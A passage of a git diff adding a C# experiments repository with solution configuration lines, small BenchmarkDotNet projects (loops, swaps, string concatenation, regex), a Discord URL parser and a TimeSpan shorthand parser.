{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}.Release|Any CPU.Build.0 = Release|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}.Release|Any CPU.Build.0 = Release|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {18D01F93-0B92-40DC-8629-4C03759FC59E}.Release|Any CPU.Build.0 = Release|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F635EBDF-9BD4-4785-87AD-2DD768C363C9}.Release|Any CPU.Build.0 = Release|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Debug|Any CPU.Build.0 = Debug|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Release|Any CPU.ActiveCfg = Release|Any CPU + {4DB29CDF-C9A1-430C-A789-1B0E65023590}.Release|Any CPU.Build.0 = Release|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}.Release|Any CPU.Build.0 = Release|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9FC59E07-F50D-4285-BE5C-4A0156089AE1}.Release|Any CPU.Build.0 = Release|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}.Release|Any CPU.Build.0 = Release|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D909599F-3A2A-4423-BAE0-A4B40A5F09C4}.Release|Any CPU.Build.0 = Release|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F30BDA1F-3203-4191-944A-070DCF4905B2}.Release|Any CPU.Build.0 = Release|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0A37A89E-66A6-4BF8-8F11-D388E8406F2B}.Release|Any CPU.Build.0 = Release|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0DACAADE-F388-4C03-AAAA-990917FA6BD7}.Release|Any CPU.Build.0 = Release|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B84420CC-FBFB-41FC-B1B3-F3F0637382FD}.Release|Any CPU.Build.0 = Release|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Debug|Any CPU.Build.0 = Debug|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Release|Any CPU.ActiveCfg = Release|Any CPU + {611F553F-AE76-4DE4-BEAF-FB07E1D42145}.Release|Any CPU.Build.0 = Release|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Debug|Any CPU.Build.0 = Debug|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Release|Any CPU.ActiveCfg = Release|Any CPU + {D3956C0F-BE5A-4276-8F85-C0F8F8250931}.Release|Any CPU.Build.0 = Release|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E0DFB8D1-5F56-46B9-B519-A270F84D666E}.Release|Any CPU.Build.0 = Release|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}.Release|Any CPU.Build.0 = Release|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Debug|Any CPU.Build.0 = Debug|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Release|Any CPU.ActiveCfg = Release|Any CPU + {CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}.Release|Any CPU.Build.0 = Release|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B38B1DF3-599B-44F1-BC5D-8C23756EBD85}.Release|Any CPU.Build.0 = Release|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Debug|Any CPU.Build.0 = Debug|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Release|Any CPU.ActiveCfg = Release|Any CPU + {221CAE99-5A4D-41A7-8C9D-936F11760B15}.Release|Any CPU.Build.0 = Release|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}.Release|Any CPU.Build.0 = Release|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}.Release|Any CPU.Build.0 = Release|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Debug|Any CPU.Build.0 = Debug|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Release|Any CPU.ActiveCfg = Release|Any CPU + {153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}.Release|Any CPU.Build.0 = Release|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0587EEAC-ACAE-4622-89C9-AC324FAC430A}.Release|Any CPU.Build.0 = Release|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}.Release|Any CPU.Build.0 = Release|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}.Release|Any CPU.Build.0 = Release|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3AC20C3A-0FB3-41C3-81A6-C4610050576A}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection +EndGlobal diff --git a/csharp/CSharpExperiments/CSharpExperiments.csproj b/csharp/CSharpExperiments/CSharpExperiments.csproj new file mode 100644 index 0000000..2f4fc77 --- /dev/null +++ b/csharp/CSharpExperiments/CSharpExperiments.csproj @@ -0,0 +1,10 @@ + + + + Exe + net8.0 + enable + enable + + + diff --git a/csharp/CSharpExperiments/Program.cs b/csharp/CSharpExperiments/Program.cs new file mode 100644 index 0000000..139ec4e --- /dev/null +++ b/csharp/CSharpExperiments/Program.cs @@ -0,0 +1,3 @@ +// See https://aka.ms/new-console-template for more information + +Console.WriteLine("Hello, World!"); diff --git a/csharp/E001-BigOLoopBenchmarks/E001-BigOLoopBenchmarks.csproj b/csharp/E001-BigOLoopBenchmarks/E001-BigOLoopBenchmarks.csproj new file mode 100644 index 0000000..27cb2ef --- /dev/null +++ b/csharp/E001-BigOLoopBenchmarks/E001-BigOLoopBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E001_BigOLoopBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E001-BigOLoopBenchmarks/Program.cs b/csharp/E001-BigOLoopBenchmarks/Program.cs new file mode 100644 index 0000000..d6f24e2 --- /dev/null +++ b/csharp/E001-BigOLoopBenchmarks/Program.cs @@ -0,0 +1,36 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class BigOLoop +{ + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + [Arguments(1000)] + [Arguments(10000)] + public void Linear(int dimension) + { + int total = dimension * dimension; + for (var iterator = 0; iterator < total; iterator++) + { + } + } + + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + [Arguments(1000)] + [Arguments(10000)] + public void Exponential(int dimension) + { + for (var x = 0; x < dimension; x++) + for (var y = 0; y < dimension; y++) + { + } + } +} diff --git a/csharp/E002-DiscordUriParser/DiscordUriParserBenchmarks.cs b/csharp/E002-DiscordUriParser/DiscordUriParserBenchmarks.cs new file mode 100644 index 0000000..fabb668 --- /dev/null +++ b/csharp/E002-DiscordUriParser/DiscordUriParserBenchmarks.cs @@ -0,0 +1,18 @@ +using BenchmarkDotNet.Attributes; + +namespace E002_DiscordUriParser; + +[SimpleJob, MemoryDiagnoser(false)] +public class DiscordUriParserBenchmarks +{ + private const string Message = "This is a test https://discord.com/channels/" + + "779115633837211659/815556722722209803/944679403420524654"; + + [Benchmark] + [Arguments(Message)] + public (ulong, ulong, ulong) UsingUri(string input) => DiscordUrlParser.UsingUri(input); + + [Benchmark] + [Arguments(Message)] + public (ulong, ulong, ulong) UsingRegex(string input) => DiscordUrlParser.UsingRegex(input); +} diff --git a/csharp/E002-DiscordUriParser/DiscordUrlParser.cs b/csharp/E002-DiscordUriParser/DiscordUrlParser.cs new file mode 100644 index 0000000..17cd379 --- /dev/null +++ b/csharp/E002-DiscordUriParser/DiscordUrlParser.cs @@ -0,0 +1,79 @@ +using System.Text.RegularExpressions; + +namespace E002_DiscordUriParser; + +public partial class DiscordUrlParser +{ + private static readonly Regex Regex = GetUrlRegex(); + + public static (ulong, ulong, ulong) UsingRegex(string input) + { + Match match = Regex.Match(input); + if (!match.Success) + { + return (0, 0, 0); + } + + return (ulong.Parse(match.Groups[1].Value), ulong.Parse(match.Groups[2].Value), ulong.Parse(match.Groups[3].Value)); + } + + public static (ulong, ulong, ulong) UsingUri(string input) + { + string[] words = input.Split(' '); + foreach (string word in words) + { + if (!Uri.IsWellFormedUriString(word, UriKind.Absolute)) + { + continue; + } + + var uri = new Uri(word); + string host = uri.Host; + if (host.IndexOf('.') != host.LastIndexOf('.')) + { + // fuck your subdomains + host = host[(host.LastIndexOf('.', host.LastIndexOf('.', host.Length - 1) - 1) + 1)..]; + } + + if (host != "discord.com") + { + continue; + } + + string path = uri.AbsolutePath; + if (!path.StartsWith("/channels/")) + { + continue; + } + + path = path["/channels/".Length..]; + + int firstSeparatorIndex = path.IndexOf('/'); + if (firstSeparatorIndex == -1) + { + continue; + } + + int secondSeparatorIndex = path.IndexOf('/', firstSeparatorIndex + 1); + if (secondSeparatorIndex == -1) + { + continue; + } + + if (ulong.TryParse(path[..firstSeparatorIndex], out ulong guild) + && ulong.TryParse(path[(firstSeparatorIndex + 1)..secondSeparatorIndex], out ulong channel) + && ulong.TryParse(path[(secondSeparatorIndex + 1)..], out ulong message)) + { + return (guild, channel, message); + } + } + + return (0, 0, 0); + } + + /*lang=regex*/ + private const string UrlRegexPattern = @"https://(?:www\.|canary\.|beta\.)?discord.com/channels/([0-9]+)/([0-9]+)/([0-9]+)/?"; + + [GeneratedRegex(UrlRegexPattern, RegexOptions.IgnoreCase | RegexOptions.Compiled, "en-GB")] + private static partial Regex GetUrlRegex(); +} \ No newline at end of file diff --git a/csharp/E002-DiscordUriParser/E002-DiscordUriParser.csproj b/csharp/E002-DiscordUriParser/E002-DiscordUriParser.csproj new file mode 100644 index 0000000..0f885f7 --- /dev/null +++ b/csharp/E002-DiscordUriParser/E002-DiscordUriParser.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E002_DiscordUriParser + enable + enable + + + + + + + diff --git a/csharp/E002-DiscordUriParser/Program.cs b/csharp/E002-DiscordUriParser/Program.cs new file mode 100644 index 0000000..05b7f96 --- /dev/null +++ b/csharp/E002-DiscordUriParser/Program.cs @@ -0,0 +1,5 @@ +var message = "This is a test https://canary.discord.com/channels/779115633837211659/815556722722209803/944679403420524654"; +Console.WriteLine(E002_DiscordUriParser.DiscordUrlParser.UsingUri(message)); + +message = "This is a test https://beta.discord.com/channels/779115633837211659/815556722722209803/944679403420524654"; +Console.WriteLine(E002_DiscordUriParser.DiscordUrlParser.UsingUri(message)); diff --git a/csharp/E003-CharBenchmarks/E003-CharBenchmarks.csproj b/csharp/E003-CharBenchmarks/E003-CharBenchmarks.csproj new file mode 100644 index 0000000..b15fa60 --- /dev/null +++ b/csharp/E003-CharBenchmarks/E003-CharBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E003_CharBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E003-CharBenchmarks/Program.cs b/csharp/E003-CharBenchmarks/Program.cs new file mode 100644 index 0000000..a133399 --- /dev/null +++ b/csharp/E003-CharBenchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class CharBenchmark +{ + [Benchmark] + public char TestA() + { + return 'a'; + } + + [Benchmark] + public char TestUtf16() + { + return '\u0369'; + } +} diff --git a/csharp/E004-SwapBenchmarks/E004-SwapBenchmarks.csproj b/csharp/E004-SwapBenchmarks/E004-SwapBenchmarks.csproj new file mode 100644 index 0000000..b3349ac --- /dev/null +++ b/csharp/E004-SwapBenchmarks/E004-SwapBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E004_SwapBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E004-SwapBenchmarks/Program.cs b/csharp/E004-SwapBenchmarks/Program.cs new file mode 100644 index 0000000..7359c4a --- /dev/null +++ b/csharp/E004-SwapBenchmarks/Program.cs @@ -0,0 +1,47 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class SwapBenchmarks +{ + [Benchmark] + [Arguments(69, 420)] + public void Swap1(ref int a, ref int b) + { + a ^= b ^ (b = a); + } + + [Benchmark] + [Arguments(69, 420)] + public void Swap2(ref int a, ref int b) + { + a = (a ^= b) ^ (b ^= a); + } + + [Benchmark] + [Arguments(69, 420)] + public void Swap3(ref int a, ref int b) + { + a ^= b; + b ^= a; + a ^= b; + } + + [Benchmark] + [Arguments(69, 420)] + public void SwapClassic(ref int a, ref int b) + { + int t = a; + a = b; + b = t; + } + + [Benchmark] + [Arguments(69, 420)] + public void SwapViaDeconstruction(ref int a, ref int b) + { + (a, b) = (b, a); + } +} diff --git a/csharp/E005-RegexCompiledBenchmarks/E005-RegexCompiledBenchmarks.csproj b/csharp/E005-RegexCompiledBenchmarks/E005-RegexCompiledBenchmarks.csproj new file mode 100644 index 0000000..fe8479e --- /dev/null +++ b/csharp/E005-RegexCompiledBenchmarks/E005-RegexCompiledBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E005_RegexCompiledBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E005-RegexCompiledBenchmarks/Program.cs b/csharp/E005-RegexCompiledBenchmarks/Program.cs new file mode 100644 index 0000000..85224de --- /dev/null +++ b/csharp/E005-RegexCompiledBenchmarks/Program.cs @@ -0,0 +1,26 @@ +using System.Text.RegularExpressions; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class RegexCompiledBenchmarks +{ + private static readonly Regex RegexInstance = new(@"\d"); + private static readonly Regex CompiledRegexInstance = new(@"\d", RegexOptions.Compiled); + + [Benchmark] + [Arguments("1234567890")] + public int BasicRegex(string input) + { + return RegexInstance.Matches(input).Count; + } + + [Benchmark] + [Arguments("1234567890")] + public int CompiledRegex(string input) + { + return CompiledRegexInstance.Matches(input).Count; + } +} diff --git a/csharp/E006-ConcatBenchmarks/E006-ConcatBenchmarks.csproj b/csharp/E006-ConcatBenchmarks/E006-ConcatBenchmarks.csproj new file mode 100644 index 0000000..f3eba11 --- /dev/null +++ b/csharp/E006-ConcatBenchmarks/E006-ConcatBenchmarks.csproj @@ -0,0 +1,14 @@ + + + + Exe + net8.0 + enable + enable + + + + + + + diff --git a/csharp/E006-ConcatBenchmarks/Program.cs b/csharp/E006-ConcatBenchmarks/Program.cs new file mode 100644 index 0000000..9d71d8f --- /dev/null +++ b/csharp/E006-ConcatBenchmarks/Program.cs @@ -0,0 +1,51 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ConcatBenchmarks +{ + private string _string1; + private string _string2; + private string _string3; + + [GlobalSetup] + public void Setup() + { + _string1 = "Hello"; + _string2 = "World"; + _string3 = "!"; + } + + [Benchmark] + public string PlusOperator() + { + return _string1 + _string2 + _string3; + } + + [Benchmark] + public string String_Concat() + { + return string.Concat(_string1, _string2, _string3); + } + + [Benchmark] + public string StringBuilder() + { + return new StringBuilder().Append(_string1).Append(_string2).Append(_string3).ToString(); + } + + [Benchmark] + public string Interpolation() + { + return $"{_string1}{_string2}{_string3}"; + } + + [Benchmark] + public string String_Format() + { + return string.Format("{0}{1}{2}", _string1, _string2, _string3); + } +} diff --git a/csharp/E007-ConcatVsStringBuilderBenchmarks/E007-ConcatVsStringBuilderBenchmarks.csproj b/csharp/E007-ConcatVsStringBuilderBenchmarks/E007-ConcatVsStringBuilderBenchmarks.csproj new file mode 100644 index 0000000..f3eba11 --- /dev/null +++ b/csharp/E007-ConcatVsStringBuilderBenchmarks/E007-ConcatVsStringBuilderBenchmarks.csproj @@ -0,0 +1,14 @@ + + + + Exe + net8.0 + enable + enable + + + + + + + diff --git a/csharp/E007-ConcatVsStringBuilderBenchmarks/Program.cs b/csharp/E007-ConcatVsStringBuilderBenchmarks/Program.cs new file mode 100644 index 0000000..1e41869 --- /dev/null +++ b/csharp/E007-ConcatVsStringBuilderBenchmarks/Program.cs @@ -0,0 +1,41 @@ +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ConcatVsStringBuilderBenchmarks +{ + private int _count; + private string _string; + + [GlobalSetup] + public void Setup() + { + _count = 100; + _string = "Hello World"; + } + + [Benchmark] + public string PlusOperator() + { + var result = ""; + + for (var i = 0; i < _count; i++) + result += _string; + + return result; + } + + [Benchmark] + public string StringBuilder() + { + var result = new StringBuilder(); + + for (var i = 0; i < _count; i++) + result.Append(_string); + + return result.ToString(); + } +} diff --git a/csharp/E008-X10D_ToGetParametersBenchmarks/E008-X10D_ToGetParametersBenchmarks.csproj b/csharp/E008-X10D_ToGetParametersBenchmarks/E008-X10D_ToGetParametersBenchmarks.csproj new file mode 100644 index 0000000..5b17666 --- /dev/null +++ b/csharp/E008-X10D_ToGetParametersBenchmarks/E008-X10D_ToGetParametersBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E008_X10D_ToGetParametersBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E008-X10D_ToGetParametersBenchmarks/Program.cs b/csharp/E008-X10D_ToGetParametersBenchmarks/Program.cs new file mode 100644 index 0000000..24d2169 --- /dev/null +++ b/csharp/E008-X10D_ToGetParametersBenchmarks/Program.cs @@ -0,0 +1,50 @@ +using System.Web; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class X10DToGetParametersBenchmarks +{ + public Dictionary Dictionary { get; } = new(); + + [GlobalSetup] + public void Setup() + { + for (var index = 0; index < 26; index++) + Dictionary.Add(('a' + index).ToString(), index); + } + + [Benchmark] + public string List() + { + static string Sanitize(KeyValuePair pair) where TKey : notnull + { + string key = HttpUtility.UrlEncode(pair.Key.ToString())!; + string? value = HttpUtility.UrlEncode(pair.Value?.ToString()); + return $"{key}={value}"; + } + + var list = new List(); + foreach (var pair in Dictionary) + { + list.Add(Sanitize(pair)); + } + + return string.Join('&', list); + } + + [Benchmark] + public string Linq() + { + static string Sanitize(KeyValuePair pair) where TKey : notnull + { + string key = HttpUtility.UrlEncode(pair.Key.ToString())!; + string? value = HttpUtility.UrlEncode(pair.Value?.ToString()); + return $"{key}={value}"; + } + + return string.Join('&', Dictionary.Select(Sanitize)); + } +} diff --git a/csharp/E009-TimeSpanParser/E009-TimeSpanParser.csproj b/csharp/E009-TimeSpanParser/E009-TimeSpanParser.csproj new file mode 100644 index 0000000..60520ff --- /dev/null +++ b/csharp/E009-TimeSpanParser/E009-TimeSpanParser.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E009_TimeSpanParser + enable + enable + + + + + + + diff --git a/csharp/E009-TimeSpanParser/Program.cs b/csharp/E009-TimeSpanParser/Program.cs new file mode 100644 index 0000000..e93fb98 --- /dev/null +++ b/csharp/E009-TimeSpanParser/Program.cs @@ -0,0 +1,69 @@ +using Humanizer; +using Humanizer.Localisation; + +Console.WriteLine(Parse("2y").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("2m").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("2mo").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("1y2mo3m").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("3d").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +Console.WriteLine(Parse("1y1mo1w1d1h1m1s").Humanize(10, true, minUnit: TimeUnit.Second, maxUnit: TimeUnit.Year)); +return; + +static TimeSpan Parse(string value) +{ + TimeSpan result = TimeSpan.Zero; + var unitValue = 0; + + for (var index = 0; index < value.Length; index++) + { + char current = value[index]; + switch (current) + { + case var digitChar when char.IsDigit(digitChar): + var digit = (int)char.GetNumericValue(digitChar); + unitValue = unitValue * 10 + digit; + break; + + case 'y': + result += TimeSpan.FromDays(unitValue * 365); + unitValue = 0; + break; + + case 'm': + if (index < value.Length - 1 && value[index + 1] == 'o') + { + index++; + result += TimeSpan.FromDays(unitValue * 30); + } + else + { + result += TimeSpan.FromMinutes(unitValue); + } + + unitValue = 0; + break; + + case 'w': + result += TimeSpan.FromDays(unitValue * 7); + unitValue = 0; + break; + + case 'd': + result += TimeSpan.FromDays(unitValue); + unitValue = 0; + break; + + case 'h': + result += TimeSpan.FromHours(unitValue); + unitValue = 0; + break; + + case 's': + result += TimeSpan.FromSeconds(unitValue); + unitValue = 0; + break; + } + } + + return result; +} diff --git a/csharp/E010-ThreadTest/E010-ThreadTest.csproj b/csharp/E010-ThreadTest/E010-ThreadTest.csproj new file mode 100644 index 0000000..23c2abe --- /dev/null +++ b/csharp/E010-ThreadTest/E010-ThreadTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E010_ThreadTest + enable + enable + + + diff --git a/csharp/E010-ThreadTest/Program.cs b/csharp/E010-ThreadTest/Program.cs new file mode 100644 index 0000000..596a01e --- /dev/null +++ b/csharp/E010-ThreadTest/Program.cs @@ -0,0 +1,20 @@ +using System.Timers; +using Timer = System.Timers.Timer; + +var timer = new Timer +{ + Interval = 1000, + Enabled = true +}; +timer.Elapsed += TimerOnElapsed; + +Console.WriteLine($"Calling start in thread {Environment.CurrentManagedThreadId}"); +timer.Start(); + +Console.ReadLine(); + +static void TimerOnElapsed(object? sender, ElapsedEventArgs e) +{ + (sender as Timer)?.Stop(); + Console.WriteLine($"Elapsed raised in thread {Environment.CurrentManagedThreadId}"); +} diff --git a/csharp/E011-SpacedIntBenchmarks/E011-SpacedIntBenchmarks.csproj b/csharp/E011-SpacedIntBenchmarks/E011-SpacedIntBenchmarks.csproj new file mode 100644 index 0000000..66c5b31 --- /dev/null +++ 